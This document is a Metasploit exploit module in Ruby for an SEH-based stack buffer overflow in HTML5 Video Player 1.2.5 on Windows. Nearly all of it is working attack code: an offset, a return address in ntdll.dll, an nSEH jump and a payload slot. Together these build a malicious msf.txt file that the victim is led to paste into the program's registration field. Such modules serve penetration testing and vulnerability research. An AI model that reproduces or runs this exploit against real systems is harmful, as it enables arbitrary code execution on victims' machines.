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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when
with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK".
},
'License' => MSF_LICENSE,
'Author' =>
[
'T3jv1l', # Original discovery
'Kağan Çapar', # Original discovery
'd3ckx1 d3ck(at)qq.com', # MSF module
],
'References' =>
[
[ 'OSVDB', '' ],
[ 'EBD', '45888' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x1a",
'DisableNops' => true,
'Space' => 4000
},
'Targets' =>
[
[ 'HTML Video Player 1.2.5',
{
'Ret' => 0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3
'Offset' => 1984
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 22 2018',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)
end
def exploit
buf = "\x41"*(target['Offset'])
buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
buf << [target.ret] .pack('V') # seh
buf << make_nops(30)
buf << payload.encoded
buf << "\x90" * 300
file_create(buf)
handler
end
end
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